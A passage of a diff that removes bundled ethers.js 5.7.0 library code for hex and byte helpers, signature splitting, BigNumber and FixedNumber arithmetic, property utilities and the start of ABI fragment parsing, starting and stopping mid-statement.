"string") { - data = hexlify2(data); - } else if (!isHexString2(data) || data.length % 2) { - logger20.throwArgumentError("invalid hexData", "value", data); - } - offset = 2 + 2 * offset; - if (endOffset != null) { - return "0x" + data.substring(offset, 2 + 2 * endOffset); - } - return "0x" + data.substring(offset); - } - function hexConcat2(items) { - let result = "0x"; - items.forEach((item) => { - result += hexlify2(item).substring(2); - }); - return result; - } - function hexValue2(value) { - const trimmed = hexStripZeros2(hexlify2(value, { hexPad: "left" })); - if (trimmed === "0x") { - return "0x0"; - } - return trimmed; - } - function hexStripZeros2(value) { - if (typeof value !== "string") { - value = hexlify2(value); - } - if (!isHexString2(value)) { - logger20.throwArgumentError("invalid hex string", "value", value); - } - value = value.substring(2); - let offset = 0; - while (offset < value.length && value[offset] === "0") { - offset++; - } - return "0x" + value.substring(offset); - } - function hexZeroPad2(value, length) { - if (typeof value !== "string") { - value = hexlify2(value); - } else if (!isHexString2(value)) { - logger20.throwArgumentError("invalid hex string", "value", value); - } - if (value.length > 2 * length + 2) { - logger20.throwArgumentError("value out of range", "value", arguments[1]); - } - while (value.length < 2 * length + 2) { - value = "0x0" + value.substring(2); - } - return value; - } - function splitSignature2(signature3) { - const result = { - r: "0x", - s: "0x", - _vs: "0x", - recoveryParam: 0, - v: 0, - yParityAndS: "0x", - compact: "0x" - }; - if (isBytesLike2(signature3)) { - let bytes = arrayify2(signature3); - if (bytes.length === 64) { - result.v = 27 + (bytes[32] >> 7); - bytes[32] &= 127; - result.r = hexlify2(bytes.slice(0, 32)); - result.s = hexlify2(bytes.slice(32, 64)); - } else if (bytes.length === 65) { - result.r = hexlify2(bytes.slice(0, 32)); - result.s = hexlify2(bytes.slice(32, 64)); - result.v = bytes[64]; - } else { - logger20.throwArgumentError("invalid signature string", "signature", signature3); - } - if (result.v < 27) { - if (result.v === 0 || result.v === 1) { - result.v += 27; - } else { - logger20.throwArgumentError("signature invalid v byte", "signature", signature3); - } - } - result.recoveryParam = 1 - result.v % 2; - if (result.recoveryParam) { - bytes[32] |= 128; - } - result._vs = hexlify2(bytes.slice(32, 64)); - } else { - result.r = signature3.r; - result.s = signature3.s; - result.v = signature3.v; - result.recoveryParam = signature3.recoveryParam; - result._vs = signature3._vs; - if (result._vs != null) { - const vs2 = zeroPad2(arrayify2(result._vs), 32); - result._vs = hexlify2(vs2); - const recoveryParam = vs2[0] >= 128 ? 1 : 0; - if (result.recoveryParam == null) { - result.recoveryParam = recoveryParam; - } else if (result.recoveryParam !== recoveryParam) { - logger20.throwArgumentError("signature recoveryParam mismatch _vs", "signature", signature3); - } - vs2[0] &= 127; - const s = hexlify2(vs2); - if (result.s == null) { - result.s = s; - } else if (result.s !== s) { - logger20.throwArgumentError("signature v mismatch _vs", "signature", signature3); - } - } - if (result.recoveryParam == null) { - if (result.v == null) { - logger20.throwArgumentError("signature missing v and recoveryParam", "signature", signature3); - } else if (result.v === 0 || result.v === 1) { - result.recoveryParam = result.v; - } else { - result.recoveryParam = 1 - result.v % 2; - } - } else { - if (result.v == null) { - result.v = 27 + result.recoveryParam; - } else { - const recId = result.v === 0 || result.v === 1 ? result.v : 1 - result.v % 2; - if (result.recoveryParam !== recId) { - logger20.throwArgumentError("signature recoveryParam mismatch v", "signature", signature3); - } - } - } - if (result.r == null || !isHexString2(result.r)) { - logger20.throwArgumentError("signature missing or invalid r", "signature", signature3); - } else { - result.r = hexZeroPad2(result.r, 32); - } - if (result.s == null || !isHexString2(result.s)) { - logger20.throwArgumentError("signature missing or invalid s", "signature", signature3); - } else { - result.s = hexZeroPad2(result.s, 32); - } - const vs = arrayify2(result.s); - if (vs[0] >= 128) { - logger20.throwArgumentError("signature s out of range", "signature", signature3); - } - if (result.recoveryParam) { - vs[0] |= 128; - } - const _vs = hexlify2(vs); - if (result._vs) { - if (!isHexString2(result._vs)) { - logger20.throwArgumentError("signature invalid _vs", "signature", signature3); - } - result._vs = hexZeroPad2(result._vs, 32); - } - if (result._vs == null) { - result._vs = _vs; - } else if (result._vs !== _vs) { - logger20.throwArgumentError("signature _vs mismatch v and s", "signature", signature3); - } - } - result.yParityAndS = result._vs; - result.compact = result.r + result.yParityAndS.substring(2); - return result; - } - function joinSignature(signature3) { - signature3 = splitSignature2(signature3); - return hexlify2(concat2([ - signature3.r, - signature3.s, - signature3.recoveryParam ? "0x1c" : "0x1b" - ])); - } - - // node_modules/@ethersproject/bignumber/lib.esm/_version.js - var version23 = "bignumber/5.7.0"; - - // node_modules/@ethersproject/bignumber/lib.esm/bignumber.js - var BN2 = import_bn3.default.BN; - var logger21 = new Logger2(version23); - var _constructorGuard3 = {}; - var MAX_SAFE2 = 9007199254740991; - function isBigNumberish(value) { - return value != null && (BigNumber2.isBigNumber(value) || typeof value === "number" && value % 1 === 0 || typeof value === "string" && !!value.match(/^-?[0-9]+$/) || isHexString2(value) || typeof value === "bigint" || isBytes2(value)); - } - var _warnedToStringRadix2 = false; - var BigNumber2 = class _BigNumber2 { - constructor(constructorGuard, hex) { - if (constructorGuard !== _constructorGuard3) { - logger21.throwError("cannot call constructor directly; use BigNumber.from", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "new (BigNumber)" - }); - } - this._hex = hex; - this._isBigNumber = true; - Object.freeze(this); - } - fromTwos(value) { - return toBigNumber2(toBN2(this).fromTwos(value)); - } - toTwos(value) { - return toBigNumber2(toBN2(this).toTwos(value)); - } - abs() { - if (this._hex[0] === "-") { - return _BigNumber2.from(this._hex.substring(1)); - } - return this; - } - add(other) { - return toBigNumber2(toBN2(this).add(toBN2(other))); - } - sub(other) { - return toBigNumber2(toBN2(this).sub(toBN2(other))); - } - div(other) { - const o = _BigNumber2.from(other); - if (o.isZero()) { - throwFault2("division-by-zero", "div"); - } - return toBigNumber2(toBN2(this).div(toBN2(other))); - } - mul(other) { - return toBigNumber2(toBN2(this).mul(toBN2(other))); - } - mod(other) { - const value = toBN2(other); - if (value.isNeg()) { - throwFault2("division-by-zero", "mod"); - } - return toBigNumber2(toBN2(this).umod(value)); - } - pow(other) { - const value = toBN2(other); - if (value.isNeg()) { - throwFault2("negative-power", "pow"); - } - return toBigNumber2(toBN2(this).pow(value)); - } - and(other) { - const value = toBN2(other); - if (this.isNegative() || value.isNeg()) { - throwFault2("unbound-bitwise-result", "and"); - } - return toBigNumber2(toBN2(this).and(value)); - } - or(other) { - const value = toBN2(other); - if (this.isNegative() || value.isNeg()) { - throwFault2("unbound-bitwise-result", "or"); - } - return toBigNumber2(toBN2(this).or(value)); - } - xor(other) { - const value = toBN2(other); - if (this.isNegative() || value.isNeg()) { - throwFault2("unbound-bitwise-result", "xor"); - } - return toBigNumber2(toBN2(this).xor(value)); - } - mask(value) { - if (this.isNegative() || value < 0) { - throwFault2("negative-width", "mask"); - } - return toBigNumber2(toBN2(this).maskn(value)); - } - shl(value) { - if (this.isNegative() || value < 0) { - throwFault2("negative-width", "shl"); - } - return toBigNumber2(toBN2(this).shln(value)); - } - shr(value) { - if (this.isNegative() || value < 0) { - throwFault2("negative-width", "shr"); - } - return toBigNumber2(toBN2(this).shrn(value)); - } - eq(other) { - return toBN2(this).eq(toBN2(other)); - } - lt(other) { - return toBN2(this).lt(toBN2(other)); - } - lte(other) { - return toBN2(this).lte(toBN2(other)); - } - gt(other) { - return toBN2(this).gt(toBN2(other)); - } - gte(other) { - return toBN2(this).gte(toBN2(other)); - } - isNegative() { - return this._hex[0] === "-"; - } - isZero() { - return toBN2(this).isZero(); - } - toNumber() { - try { - return toBN2(this).toNumber(); - } catch (error) { - throwFault2("overflow", "toNumber", this.toString()); - } - return null; - } - toBigInt() { - try { - return BigInt(this.toString()); - } catch (e) { - } - return logger21.throwError("this platform does not support BigInt", Logger2.errors.UNSUPPORTED_OPERATION, { - value: this.toString() - }); - } - toString() { - if (arguments.length > 0) { - if (arguments[0] === 10) { - if (!_warnedToStringRadix2) { - _warnedToStringRadix2 = true; - logger21.warn("BigNumber.toString does not accept any parameters; base-10 is assumed"); - } - } else if (arguments[0] === 16) { - logger21.throwError("BigNumber.toString does not accept any parameters; use bigNumber.toHexString()", Logger2.errors.UNEXPECTED_ARGUMENT, {}); - } else { - logger21.throwError("BigNumber.toString does not accept parameters", Logger2.errors.UNEXPECTED_ARGUMENT, {}); - } - } - return toBN2(this).toString(10); - } - toHexString() { - return this._hex; - } - toJSON(key3) { - return { type: "BigNumber", hex: this.toHexString() }; - } - static from(value) { - if (value instanceof _BigNumber2) { - return value; - } - if (typeof value === "string") { - if (value.match(/^-?0x[0-9a-f]+$/i)) { - return new _BigNumber2(_constructorGuard3, toHex2(value)); - } - if (value.match(/^-?[0-9]+$/)) { - return new _BigNumber2(_constructorGuard3, toHex2(new BN2(value))); - } - return logger21.throwArgumentError("invalid BigNumber string", "value", value); - } - if (typeof value === "number") { - if (value % 1) { - throwFault2("underflow", "BigNumber.from", value); - } - if (value >= MAX_SAFE2 || value <= -MAX_SAFE2) { - throwFault2("overflow", "BigNumber.from", value); - } - return _BigNumber2.from(String(value)); - } - const anyValue = value; - if (typeof anyValue === "bigint") { - return _BigNumber2.from(anyValue.toString()); - } - if (isBytes2(anyValue)) { - return _BigNumber2.from(hexlify2(anyValue)); - } - if (anyValue) { - if (anyValue.toHexString) { - const hex = anyValue.toHexString(); - if (typeof hex === "string") { - return _BigNumber2.from(hex); - } - } else { - let hex = anyValue._hex; - if (hex == null && anyValue.type === "BigNumber") { - hex = anyValue.hex; - } - if (typeof hex === "string") { - if (isHexString2(hex) || hex[0] === "-" && isHexString2(hex.substring(1))) { - return _BigNumber2.from(hex); - } - } - } - } - return logger21.throwArgumentError("invalid BigNumber value", "value", value); - } - static isBigNumber(value) { - return !!(value && value._isBigNumber); - } - }; - function toHex2(value) { - if (typeof value !== "string") { - return toHex2(value.toString(16)); - } - if (value[0] === "-") { - value = value.substring(1); - if (value[0] === "-") { - logger21.throwArgumentError("invalid hex", "value", value); - } - value = toHex2(value); - if (value === "0x00") { - return value; - } - return "-" + value; - } - if (value.substring(0, 2) !== "0x") { - value = "0x" + value; - } - if (value === "0x") { - return "0x00"; - } - if (value.length % 2) { - value = "0x0" + value.substring(2); - } - while (value.length > 4 && value.substring(0, 4) === "0x00") { - value = "0x" + value.substring(4); - } - return value; - } - function toBigNumber2(value) { - return BigNumber2.from(toHex2(value)); - } - function toBN2(value) { - const hex = BigNumber2.from(value).toHexString(); - if (hex[0] === "-") { - return new BN2("-" + hex.substring(3), 16); - } - return new BN2(hex.substring(2), 16); - } - function throwFault2(fault, operation, value) { - const params = { fault, operation }; - if (value != null) { - params.value = value; - } - return logger21.throwError(fault, Logger2.errors.NUMERIC_FAULT, params); - } - function _base36To162(value) { - return new BN2(value, 36).toString(16); - } - function _base16To36(value) { - return new BN2(value, 16).toString(36); - } - - // node_modules/@ethersproject/bignumber/lib.esm/fixednumber.js - var logger22 = new Logger2(version23); - var _constructorGuard4 = {}; - var Zero3 = BigNumber2.from(0); - var NegativeOne = BigNumber2.from(-1); - function throwFault3(message, fault, operation, value) { - const params = { fault, operation }; - if (value !== void 0) { - params.value = value; - } - return logger22.throwError(message, Logger2.errors.NUMERIC_FAULT, params); - } - var zeros = "0"; - while (zeros.length < 256) { - zeros += zeros; - } - function getMultiplier(decimals) { - if (typeof decimals !== "number") { - try { - decimals = BigNumber2.from(decimals).toNumber(); - } catch (e) { - } - } - if (typeof decimals === "number" && decimals >= 0 && decimals <= 256 && !(decimals % 1)) { - return "1" + zeros.substring(0, decimals); - } - return logger22.throwArgumentError("invalid decimal size", "decimals", decimals); - } - function formatFixed(value, decimals) { - if (decimals == null) { - decimals = 0; - } - const multiplier = getMultiplier(decimals); - value = BigNumber2.from(value); - const negative = value.lt(Zero3); - if (negative) { - value = value.mul(NegativeOne); - } - let fraction = value.mod(multiplier).toString(); - while (fraction.length < multiplier.length - 1) { - fraction = "0" + fraction; - } - fraction = fraction.match(/^([0-9]*[1-9]|0)(0*)/)[1]; - const whole = value.div(multiplier).toString(); - if (multiplier.length === 1) { - value = whole; - } else { - value = whole + "." + fraction; - } - if (negative) { - value = "-" + value; - } - return value; - } - function parseFixed(value, decimals) { - if (decimals == null) { - decimals = 0; - } - const multiplier = getMultiplier(decimals); - if (typeof value !== "string" || !value.match(/^-?[0-9.]+$/)) { - logger22.throwArgumentError("invalid decimal value", "value", value); - } - const negative = value.substring(0, 1) === "-"; - if (negative) { - value = value.substring(1); - } - if (value === ".") { - logger22.throwArgumentError("missing value", "value", value); - } - const comps = value.split("."); - if (comps.length > 2) { - logger22.throwArgumentError("too many decimal points", "value", value); - } - let whole = comps[0], fraction = comps[1]; - if (!whole) { - whole = "0"; - } - if (!fraction) { - fraction = "0"; - } - while (fraction[fraction.length - 1] === "0") { - fraction = fraction.substring(0, fraction.length - 1); - } - if (fraction.length > multiplier.length - 1) { - throwFault3("fractional component exceeds decimals", "underflow", "parseFixed"); - } - if (fraction === "") { - fraction = "0"; - } - while (fraction.length < multiplier.length - 1) { - fraction += "0"; - } - const wholeValue = BigNumber2.from(whole); - const fractionValue = BigNumber2.from(fraction); - let wei = wholeValue.mul(multiplier).add(fractionValue); - if (negative) { - wei = wei.mul(NegativeOne); - } - return wei; - } - var FixedFormat = class _FixedFormat { - constructor(constructorGuard, signed3, width, decimals) { - if (constructorGuard !== _constructorGuard4) { - logger22.throwError("cannot use FixedFormat constructor; use FixedFormat.from", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "new FixedFormat" - }); - } - this.signed = signed3; - this.width = width; - this.decimals = decimals; - this.name = (signed3 ? "" : "u") + "fixed" + String(width) + "x" + String(decimals); - this._multiplier = getMultiplier(decimals); - Object.freeze(this); - } - static from(value) { - if (value instanceof _FixedFormat) { - return value; - } - if (typeof value === "number") { - value = `fixed128x${value}`; - } - let signed3 = true; - let width = 128; - let decimals = 18; - if (typeof value === "string") { - if (value === "fixed") { - } else if (value === "ufixed") { - signed3 = false; - } else { - const match = value.match(/^(u?)fixed([0-9]+)x([0-9]+)$/); - if (!match) { - logger22.throwArgumentError("invalid fixed format", "format", value); - } - signed3 = match[1] !== "u"; - width = parseInt(match[2]); - decimals = parseInt(match[3]); - } - } else if (value) { - const check = (key3, type, defaultValue) => { - if (value[key3] == null) { - return defaultValue; - } - if (typeof value[key3] !== type) { - logger22.throwArgumentError("invalid fixed format (" + key3 + " not " + type + ")", "format." + key3, value[key3]); - } - return value[key3]; - }; - signed3 = check("signed", "boolean", signed3); - width = check("width", "number", width); - decimals = check("decimals", "number", decimals); - } - if (width % 8) { - logger22.throwArgumentError("invalid fixed format width (not byte aligned)", "format.width", width); - } - if (decimals > 80) { - logger22.throwArgumentError("invalid fixed format (decimals too large)", "format.decimals", decimals); - } - return new _FixedFormat(_constructorGuard4, signed3, width, decimals); - } - }; - var FixedNumber = class _FixedNumber { - constructor(constructorGuard, hex, value, format) { - if (constructorGuard !== _constructorGuard4) { - logger22.throwError("cannot use FixedNumber constructor; use FixedNumber.from", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "new FixedFormat" - }); - } - this.format = format; - this._hex = hex; - this._value = value; - this._isFixedNumber = true; - Object.freeze(this); - } - _checkFormat(other) { - if (this.format.name !== other.format.name) { - logger22.throwArgumentError("incompatible format; use fixedNumber.toFormat", "other", other); - } - } - addUnsafe(other) { - this._checkFormat(other); - const a = parseFixed(this._value, this.format.decimals); - const b = parseFixed(other._value, other.format.decimals); - return _FixedNumber.fromValue(a.add(b), this.format.decimals, this.format); - } - subUnsafe(other) { - this._checkFormat(other); - const a = parseFixed(this._value, this.format.decimals); - const b = parseFixed(other._value, other.format.decimals); - return _FixedNumber.fromValue(a.sub(b), this.format.decimals, this.format); - } - mulUnsafe(other) { - this._checkFormat(other); - const a = parseFixed(this._value, this.format.decimals); - const b = parseFixed(other._value, other.format.decimals); - return _FixedNumber.fromValue(a.mul(b).div(this.format._multiplier), this.format.decimals, this.format); - } - divUnsafe(other) { - this._checkFormat(other); - const a = parseFixed(this._value, this.format.decimals); - const b = parseFixed(other._value, other.format.decimals); - return _FixedNumber.fromValue(a.mul(this.format._multiplier).div(b), this.format.decimals, this.format); - } - floor() { - const comps = this.toString().split("."); - if (comps.length === 1) { - comps.push("0"); - } - let result = _FixedNumber.from(comps[0], this.format); - const hasFraction = !comps[1].match(/^(0*)$/); - if (this.isNegative() && hasFraction) { - result = result.subUnsafe(ONE.toFormat(result.format)); - } - return result; - } - ceiling() { - const comps = this.toString().split("."); - if (comps.length === 1) { - comps.push("0"); - } - let result = _FixedNumber.from(comps[0], this.format); - const hasFraction = !comps[1].match(/^(0*)$/); - if (!this.isNegative() && hasFraction) { - result = result.addUnsafe(ONE.toFormat(result.format)); - } - return result; - } - // @TODO: Support other rounding algorithms - round(decimals) { - if (decimals == null) { - decimals = 0; - } - const comps = this.toString().split("."); - if (comps.length === 1) { - comps.push("0"); - } - if (decimals < 0 || decimals > 80 || decimals % 1) { - logger22.throwArgumentError("invalid decimal count", "decimals", decimals); - } - if (comps[1].length <= decimals) { - return this; - } - const factor = _FixedNumber.from("1" + zeros.substring(0, decimals), this.format); - const bump = BUMP.toFormat(this.format); - return this.mulUnsafe(factor).addUnsafe(bump).floor().divUnsafe(factor); - } - isZero() { - return this._value === "0.0" || this._value === "0"; - } - isNegative() { - return this._value[0] === "-"; - } - toString() { - return this._value; - } - toHexString(width) { - if (width == null) { - return this._hex; - } - if (width % 8) { - logger22.throwArgumentError("invalid byte width", "width", width); - } - const hex = BigNumber2.from(this._hex).fromTwos(this.format.width).toTwos(width).toHexString(); - return hexZeroPad2(hex, width / 8); - } - toUnsafeFloat() { - return parseFloat(this.toString()); - } - toFormat(format) { - return _FixedNumber.fromString(this._value, format); - } - static fromValue(value, decimals, format) { - if (format == null && decimals != null && !isBigNumberish(decimals)) { - format = decimals; - decimals = null; - } - if (decimals == null) { - decimals = 0; - } - if (format == null) { - format = "fixed"; - } - return _FixedNumber.fromString(formatFixed(value, decimals), FixedFormat.from(format)); - } - static fromString(value, format) { - if (format == null) { - format = "fixed"; - } - const fixedFormat = FixedFormat.from(format); - const numeric = parseFixed(value, fixedFormat.decimals); - if (!fixedFormat.signed && numeric.lt(Zero3)) { - throwFault3("unsigned value cannot be negative", "overflow", "value", value); - } - let hex = null; - if (fixedFormat.signed) { - hex = numeric.toTwos(fixedFormat.width).toHexString(); - } else { - hex = numeric.toHexString(); - hex = hexZeroPad2(hex, fixedFormat.width / 8); - } - const decimal = formatFixed(numeric, fixedFormat.decimals); - return new _FixedNumber(_constructorGuard4, hex, decimal, fixedFormat); - } - static fromBytes(value, format) { - if (format == null) { - format = "fixed"; - } - const fixedFormat = FixedFormat.from(format); - if (arrayify2(value).length > fixedFormat.width / 8) { - throw new Error("overflow"); - } - let numeric = BigNumber2.from(value); - if (fixedFormat.signed) { - numeric = numeric.fromTwos(fixedFormat.width); - } - const hex = numeric.toTwos((fixedFormat.signed ? 0 : 1) + fixedFormat.width).toHexString(); - const decimal = formatFixed(numeric, fixedFormat.decimals); - return new _FixedNumber(_constructorGuard4, hex, decimal, fixedFormat); - } - static from(value, format) { - if (typeof value === "string") { - return _FixedNumber.fromString(value, format); - } - if (isBytes2(value)) { - return _FixedNumber.fromBytes(value, format); - } - try { - return _FixedNumber.fromValue(value, 0, format); - } catch (error) { - if (error.code !== Logger2.errors.INVALID_ARGUMENT) { - throw error; - } - } - return logger22.throwArgumentError("invalid FixedNumber value", "value", value); - } - static isFixedNumber(value) { - return !!(value && value._isFixedNumber); - } - }; - var ONE = FixedNumber.from(1); - var BUMP = FixedNumber.from("0.5"); - - // node_modules/@ethersproject/properties/lib.esm/_version.js - var version24 = "properties/5.7.0"; - - // node_modules/@ethersproject/properties/lib.esm/index.js - var __awaiter16 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger23 = new Logger2(version24); - function defineReadOnly2(object, name, value) { - Object.defineProperty(object, name, { - enumerable: true, - value, - writable: false - }); - } - function getStatic2(ctor, key3) { - for (let i = 0; i < 32; i++) { - if (ctor[key3]) { - return ctor[key3]; - } - if (!ctor.prototype || typeof ctor.prototype !== "object") { - break; - } - ctor = Object.getPrototypeOf(ctor.prototype).constructor; - } - return null; - } - function resolveProperties2(object) { - return __awaiter16(this, void 0, void 0, function* () { - const promises = Object.keys(object).map((key3) => { - const value = object[key3]; - return Promise.resolve(value).then((v) => ({ key: key3, value: v })); - }); - const results = yield Promise.all(promises); - return results.reduce((accum, result) => { - accum[result.key] = result.value; - return accum; - }, {}); - }); - } - function checkProperties2(object, properties) { - if (!object || typeof object !== "object") { - logger23.throwArgumentError("invalid object", "object", object); - } - Object.keys(object).forEach((key3) => { - if (!properties[key3]) { - logger23.throwArgumentError("invalid object key - " + key3, "transaction:" + key3, object); - } - }); - } - function shallowCopy2(object) { - const result = {}; - for (const key3 in object) { - result[key3] = object[key3]; - } - return result; - } - var opaque2 = { bigint: true, boolean: true, "function": true, number: true, string: true }; - function _isFrozen2(object) { - if (object === void 0 || object === null || opaque2[typeof object]) { - return true; - } - if (Array.isArray(object) || typeof object === "object") { - if (!Object.isFrozen(object)) { - return false; - } - const keys = Object.keys(object); - for (let i = 0; i < keys.length; i++) { - let value = null; - try { - value = object[keys[i]]; - } catch (error) { - continue; - } - if (!_isFrozen2(value)) { - return false; - } - } - return true; - } - return logger23.throwArgumentError(`Cannot deepCopy ${typeof object}`, "object", object); - } - function _deepCopy2(object) { - if (_isFrozen2(object)) { - return object; - } - if (Array.isArray(object)) { - return Object.freeze(object.map((item) => deepCopy2(item))); - } - if (typeof object === "object") { - const result = {}; - for (const key3 in object) { - const value = object[key3]; - if (value === void 0) { - continue; - } - defineReadOnly2(result, key3, deepCopy2(value)); - } - return result; - } - return logger23.throwArgumentError(`Cannot deepCopy ${typeof object}`, "object", object); - } - function deepCopy2(object) { - return _deepCopy2(object); - } - var Description2 = class { - constructor(info) { - for (const key3 in info) { - this[key3] = deepCopy2(info[key3]); - } - } - }; - - // node_modules/@ethersproject/abi/lib.esm/_version.js - var version25 = "abi/5.7.0"; - - // node_modules/@ethersproject/abi/lib.esm/fragments.js - var logger24 = new Logger2(version25); - var _constructorGuard5 = {}; - var ModifiersBytes = { calldata: true, memory: true, storage: true }; - var ModifiersNest = { calldata: true, memory: true }; - function checkModifier(type, name) { - if (type === "bytes" || type === "string") { - if (ModifiersBytes[name]) { - return true; - } - } else if (type === "address") { - if (name === "payable") { - return true; - } - } else if (type.indexOf("[") >= 0 || type === "tuple") { - if (ModifiersNest[name]) { - return true; - } - } - if (ModifiersBytes[name] || name === "payable") { - logger24.throwArgumentError("invalid modifier", "name", name); - } - return false; - } - function parseParamType(param, allowIndexed) { - let originalParam = param; - function throwError(i) { - logger24.throwArgumentError(`unexpected character at position ${i}`, "param", param); - } - param = param.replace(/\s/g, " "); - function newNode(parent2) { - let node2 = { type: "", name: "", parent: parent2, state: { allowType: true } }; - if (allowIndexed) { - node2.indexed = false; - } - return node2; - } - let parent = { type: "", name: "", state: { allowType: true } }; - let node = parent; - for (let i = 0; i < param.length; i++) { - let c = param[i]; - switch (c) { - case "(": - if (node.state.allowType && node.type === "") { - node.type = "tuple"; - } else if (!node.state.allowParams) { - throwError(i); - } - node.state.allowType = false; - node.type = verifyType(node.type); - node.components = [newNode(node)]; - node = node.components[0]; - break; - case ")": - delete node.state; - if (node.name === "indexed") { - if (!allowIndexed) { - throwError(i); - } - node.indexed = true; - node.name = ""; - } - if (checkModifier(node.type, node.name)) { - node.name = ""; - } - node.type = verifyType(node.type); - let child = node; - node = node.parent; - if (!node) { - throwError(i); - } - delete child.parent; - node.state.allowParams = false; - node.state.allowName = true; - node.state.allowArray = true; - break; - case ",": - delete node.state; - if (node.name === "indexed") { - if (!allowIndexed) { - throwError(i); - } - node.indexed = true; - node.name = ""; - } - if (checkModifier(node.type, node.name)) { - node.name = ""; - } - node.type = verifyType(node.type); - let sibling = newNode(node.parent); - node.parent.components.push(sibling); - delete node.parent; - node = sibling; - break; - case " ": - if (node.state.allowType) { - if (node.type !== "") { - node.type = verifyType(node.type); - delete node.state.allowType; - node.state.allowName = true; - node.state.allowParams = true; - } - } - if (node.state.allowName) { - if (node.name !== "") { - if (node.name === "indexed") { - if (!allowIndexed) { - throwError(i); - } - if (node.indexed) { - throwError(i); - } - node.indexed = true; - node.name = ""; - } else if (checkModifier(node.type, node.name)) { - node.name = ""; - } else { - node.state.allowName = false; - } - } - } - break; - case "[": - if (!node.state.allowArray) { - throwError(i); - } - node.type += c; - node.state.allowArray = false; - node.state.allowName = false; - node.state.readArray = true; - break; - case "]": - if (!node.state.readArray) { - throwError(i); - } - node.type += c; - node.state.readArray = false; - node.state.allowArray = true; - node.state.allowName = true; - break; - default: - if (node.state.allowType) { - node.type += c; - node.state.allowParams = true; - node.state.allowArray = true; - } else if (node.state.allowName) { - node.name += c; - delete node.state.allowArray; - } else if (node.state.readArray) { - node.type += c; - } else { - throwError(i); - } - } - } - if (node.parent) { - logger24.throwArgumentError("unexpected eof", "param", param); - } - delete parent.state; - if (node.name === "indexed") { - if (!allowIndexed) { - throwError(originalParam.length - 7); - } - if (node.indexed) { - throwError(originalParam.length - 7); - } - node.indexed = true; - node.name = ""; - } else if (checkModifier(node.type, node.name)) { - node.name = ""; - } - parent.type = verifyType(parent.type); - return parent; - } - function populate(object, params) { - for (let key3 in params) { - defineReadOnly2(object, key3, params[key3]); - } - } - var FormatTypes = Object.freeze({ - // Bare formatting, as is needed for computing a sighash of an event or function - sighash: "sighash", - // Human-Readable with Minimal spacing and without names (compact human-readable) - minimal: "minimal", - // Human-Readable with nice spacing, including all names - full: "full", - // JSON-format a la Solidity - json: "json" - }); - var paramTypeArray = new RegExp(/^(.*)\[([0-9]*)\]$/); - var ParamType = class _ParamType { - constructor(constructorGuard, params) { - if (constructorGuard !== _constructorGuard5) { - logger24.throwError("use fromString", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "new ParamType()" - }); - } - populate(this, params); - let match = this.type.match(paramTypeArray); - if (match) { - populate(this, { - arrayLength: parseInt(match[2] || "-1"), - arrayChildren: _ParamType.fromObject({ - type: match[1], - components: this.components - }), - baseType: "array" - }); - } else { - populate(this, { - arrayLength: null, - arrayChildren: null, - baseType: this.components != null ? "tuple" : this.type - }); - } - this._isParamType = true; - Object.freeze(this); - } - // Format the parameter fragment - // - sighash: "(uint256,address)" - // - minimal: "tuple(uint256,address) indexed" - // - full: "tuple(uint256 foo, address bar) indexed baz" - format(format) { - if (!format) { - format = FormatTypes.sighash; - } - if (!FormatTypes[format]) { - logger24.throwArgumentError("invalid format type", "format", format); - } - if (format === FormatTypes.json) { - let result2 = { - type: this.baseType === "tuple" ? "tuple" : this.type, - name: this.name || void 0 - }; - if (typeof this.indexed === "boolean") { - result2.indexed = this.indexed; - } - if (this.components) { - result2.components = this.components.map((comp) => JSON.parse(comp.format(format))); - } - return JSON.stringify(result2); - } - let result = ""; - if (this.baseType === "array") { - result += this.arrayChildren.format(format); - result += "[" + (this.arrayLength < 0 ? "" : String(this.arrayLength)) + "]"; - } else { - if (this.baseType === "tuple") { - if (format !== FormatTypes.sighash) { - result += this.type; - } - result += "(" + this.components.map((comp) => comp.format(format)).join(format === FormatTypes.full ? ", " : ",") + ")"; - } else { - result += this.type; - } - } - if (format !== FormatTypes.sighash) { - if (this.indexed === true) { - result += " indexed"; - } - if (format === FormatTypes.full && this.name) { - result += " " + this.name; - } - } - return result; - } - static from(value, allowIndexed) { - if (typeof value === "string") { - return _ParamType.fromString(value, allowIndexed); - } - return _ParamType.fromObject(value); - } - static fromObject(value) { - if (_ParamType.isParamType(value)) { - return value; - } - return new _ParamType(_constructorGuard5, { - name: value.name || null, - type: verifyType(value.type), - indexed: value.indexed == null ? null : !!value.indexed, - components: value.components ? value.components.map(_ParamType.fromObject) : null - }); - } - static fromString(value, allowIndexed) { - function ParamTypify(node) { - return _ParamType.fromObject({ - name: node.name, - type: node.type, - indexed: node.indexed, - components: node.components - }); - } - return ParamTypify(parseParamType(value, !!allowIndexed)); - } - static isParamType(value) { - return !!(value != null && value._isParamType); - } - }; - function parseParams(value, allowIndex) { - return splitNesting(value).map((param) => ParamType.fromString(param, allowIndex)); - } - var Fragment = class _Fragment { - constructor(constructorGuard, params) { - if (constructorGuard !== _constructorGuard5) { - logger24.throwError("use a static from method", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "new Fragment()" - }); - } - populate(this, params); - this._isFragment = true; - Object.freeze(this); - } - static from(value) { - if (_Fragment.isFragment(value)) { - return value; - } - if (typeof value === "string") { - return _Fragment.fromString(value); - } - return _Fragment.fromObject(value); - } - static fromObject(value) { - if (_Fragment.isFragment(value)) { - return value; - } - switch (value.type) { - case "function": - return FunctionFragment.fromObject(value); - case "event": - return EventFragment.fromObject(value); - case "constructor": - return ConstructorFragment.fromObject(value); - case "error": - return ErrorFragment.fromObject(value); - case "fallback": - case "receive": - return null; - } - return logger24.throwArgumentError("invalid fragment object", "value", value); - } - static fromString(value) { - value = value.replace(/\s/g, " "); - value = value.replace(/\(/g, " (").replace(/\)/g, ") ").replace(/\s+/g, " "); - value = value.trim(); - if (value.split(" ")[0] === "event") { - return EventFragment.fromString(value.substring(5).trim()); - } else if (value.split(" ")[0] === "function") { - return FunctionFragment.fromString(value.substring(8).trim()); - } else if 